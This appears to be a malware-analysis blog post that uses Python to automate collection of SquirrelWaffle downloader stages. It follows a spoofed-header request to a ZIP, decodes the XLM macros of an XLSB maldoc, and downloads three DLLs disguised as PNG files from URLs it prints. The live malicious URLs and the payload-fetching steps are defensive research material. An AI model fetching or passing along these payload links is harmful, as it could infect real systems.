Note to reader: If you are following along, you will need a VPN connection that supports a large list of geographic endpoints. I have found South American and Eastern Bloc countries are good choices for endpoints.
Many downloaders have a double-edged goal in mind – make it easy for the common user to download and execute a malicious payload and hard for an analyst to automate. So today we are going to explore whether we can automate one of the more annoying and popular downloaders in the current threat landscape – SquirrelWaffle.
The traditional TTP is a spoofed reply chain email with an embedded link to a ZIP file. So, let’s start with a python script to spoof HTTP headers and try to download a remote ZIP file.
>>> url = 'https://accounts.kdcu.org/necessitatibusmolestias/deiaiosi-dusnimslmboauuii-glrtlbmudosetsit' >>> headers = { ... "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko", ... "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", ... "Accept-Language": "en-US,en;q=0.9" ... } >>> import requests >>> r = requests.get(url, headers=headers) >>> r.headers['content-type'] 'text/html; charset=UTF-8' >>> r.content b'<html><body><img src="/necessitatibusmolestias/logotype.jpg?1640113477" width="7px"><span id="cjuP" data-cjuP="/necessitatibusmolestias/AO_537777377.zip"></span><script>location.pathname = document.getElementById(\'cjuP\').getAttribute(\'data-cjuP\');</script></body></html>'
Looks like we ended up with a simple JavaScript redirect. And a simple regular expression extracts the ZIP files URI.
>>> import urllib.parse, re >>> m = re.search(rb'"(.[^"]+\.zip)"', r.content) >>> zip_file = m.group(1).decode() >>> parts = urllib.parse.urlparse(url) >>> new_url = '{}://{}{}'.format(parts.scheme, parts.netloc, zip_file) >>> new_url 'https://accounts.kdcu.org/necessitatibusmolestias/M_1169734532.zip' >>> r = requests.get(new_url, headers=headers) >>> r.headers['content-type'] 'application/octet-stream'
Perfect! So now we have a ZIP file that we need to unpack. Looks like this maldoc is an XLSB, a newer version of a Microsoft Excel document. Fortunately, DissectMalware has a python module, pyxlsb2, to parse these documents. If the user is unfamiliar with SquirrelWaffle maldocs or any common maldoc downloaders, then here is a quick cliff note:
- XLM macros are the most common TTP
- An Excel cell has a value and a formula property
- Excel columns and rows are 1 offset and python modules are 0 offset
>>> import pyxlsb2 >>> book = pyxlsb2.open_workbook('DF-1140826109.xlsb') >>> for ws in book.sheets: ... sheet = book.get_sheet_by_name(ws.name) ... for row in sheet.rows(): ... for cell in row: ... if cell.formula: ... print(pyxlsb2.formula.Formula.parse(cell.formula).stringify(book)) T(Sbbbbr1!O3&Sbbbbr1!O3&Sbbbbr1!L13&Sbbbbr1!L13&Sbbbbr1!F24&B4&H27) T(Sbbbbr1!E2&Sbbbbr1!F10&Sbbbbr1!B11&Sbbbbr1!S5&Sbbbbr1!H28&Sbbbbr1!R17&Sbbbbr1!P15&Sbbbbr1!E14) T(Sbbbbr1!F26&Sbbbbr1!O11&Sbbbbr1!F26) T(Sbbbbr1!E2&Sbbbbr1!F10&Sbbbbr1!B11&Sbbbbr1!Q1&Sbbbbr1!H28&Sbbbbr1!R17&Sbbbbr1!P15&Sbbbbr1!E14) T(Sbbbbr1!O3&Sbbbbr1!O3&Sbbbbr1!L13&Sbbbbr1!L13&Sbbbbr1!F24&B4&I30) T(Sbbbbr1!E2&Sbbbbr1!F10&Sbbbbr1!B11&Sbbbbr1!Q4&Sbbbbr1!H28&Sbbbbr1!R17&Sbbbbr1!P15&Sbbbbr1!E14) T(Sbbbbr1!F24&Sbbbbr1!N14&Sbbbbr1!A4&Sbbbbr1!E2&Sbbbbr1!Q6&Sbbbbr1!R17&Sbbbbr1!B11&Sbbbbr1!F24&Sbbbbr1!F26&Sbbbbr1!F24&Sbbbbr1!L7) T(Sbbbbr1!F26&Sbbbbr1!O11&Sbbbbr1!F26&Sbbbbr1!O11&Sbbbbr1!L31) T(Sbbbbr1!F10&Sbbbbr1!S2&Sbbbbr1!F24&Sbbbbr1!F26&Sbbbbr1!F24&Sbbbbr1!M4&Sbbbbr1!M4) T(Sbbbbr1!O3&Sbbbbr1!O3&Sbbbbr1!L13&Sbbbbr1!L13&Sbbbbr1!F24&B4&K27) T(Sbbbbr1!K10&Sbbbbr1!M16&Sbbbbr1!Q11&Sbbbbr1!R17&Sbbbbr1!I3&Sbbbbr1!B11&Sbbbbr1!E2&Sbbbbr1!R17&Sbbbbr1!T9&Sbbbbr1!M8&Sbbbbr1!T4&Sbbbbr1!R17&Sbbbbr1!K2&Sbbbbr1!S13&Sbbbbr1!E2) T(Sbbbbr1!F26&Sbbbbr1!O11&Sbbbbr1!F26&Sbbbbr1!U3&Sbbbbr1!L31) T(Sbbbbr1!F24&Sbbbbr1!M4&Sbbbbr1!M4&Sbbbbr1!O3&Sbbbbr1!O3) T(Sbbbbr1!F10&Sbbbbr1!C16&Sbbbbr1!O18&Sbbbbr1!B3&Sbbbbr1!A4&Sbbbbr1!Q1&Sbbbbr1!S5&Sbbbbr1!F24&Sbbbbr1!F26&Sbbbbr1!F24) T(Sbbbbr1!F24&Sbbbbr1!H13&Sbbbbr1!J5&Sbbbbr1!F10&Sbbbbr1!E2&Sbbbbr1!E2&Sbbbbr1!Q1&Sbbbbr1!S5&Sbbbbr1!F24&Sbbbbr1!F26&Sbbbbr1!F24&Sbbbbr1!H13) T(Sbbbbr1!O3&Sbbbbr1!M4&Sbbbbr1!M4&Sbbbbr1!F24&Sbbbr2!B4)
Welp, I was hoping the XLM macro was simple. Instead, we have some cell references. This shouldn’t stall us, let’s walk the cells and save their values to a mapper that uses a key of `Sheet!CRR` where C is the column letter and RR is the row number. I’m going to keep that mapper hidden for now, to save space. Let’s replace those cell references to their variables and parse out any URLs.
>>> for sheet in book.sheets: ... worksheet = book.get_sheet_by_name(sheet.name) ... for row in worksheet: ... for cell in row: ... if cell.formula: ... value = pyxlsb2.formula.Formula.parse(cell.formula).stringify(book) ... value = re.sub(r'[&(](\w+!\w+)', ... lambda m: '&"{}"'.format(sheet_map[m.group(1)]), ... value) ... value = value.replace('"&"', '') ... for m in re.finditer('"?(https?://[^"]+)[",]?', value): ... print(m.group(1)) ... https://esportsbrasfootleague.com/YFVkNcrS/u.png https://toursbooking.mu/abYIRuBn/u.png https://verdewall.com.br/ULKRNfV1a/u.png
I like where this is going. And can we download these DLL files; and yes they are not PNG image files.
>>> dlls = ['https://esportsbrasfootleague.com/YFVkNcrS/u.png', ... 'https://toursbooking.mu/abYIRuBn/u.png', ... 'https://verdewall.com.br/ULKRNfV1a/u.png'] >>> for i, dll in enumerate(dlls): ... r = requests.get(dll, headers=headers) ... with open('bad{}.dll'.format(i), 'wb') as f: ... f.write(r.content) ... 678570 678579 678615 >>> quit() % file bad*.dll bad0.dll: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows bad1.dll: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows bad2.dll: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
And if we wrap all of this into a single script.
% python waffles.py 'https://accounts.kdcu.org/necessitatibusmolestias/deiaiosi-dusnimslmboauuii-glrtlbmudosetsit' Downloaded M_1169734532.zip Found next stage URL - https://esportsbrasfootleague.com/YFVkNcrS/u.png Found next stage URL - https://toursbooking.mu/abYIRuBn/u.png Found next stage URL - https://verdewall.com.br/ULKRNfV1a/u.png Next stage URL - https://esportsbrasfootleague.com/YFVkNcrS/u.png Saved bad0.dll from https://esportsbrasfootleague.com/YFVkNcrS/u.png Next stage URL - https://toursbooking.mu/abYIRuBn/u.png Saved bad1.dll from https://toursbooking.mu/abYIRuBn/u.png Next stage URL - https://verdewall.com.br/ULKRNfV1a/u.png Saved bad2.dll from https://verdewall.com.br/ULKRNfV1a/u.png
And the original email for this sample.
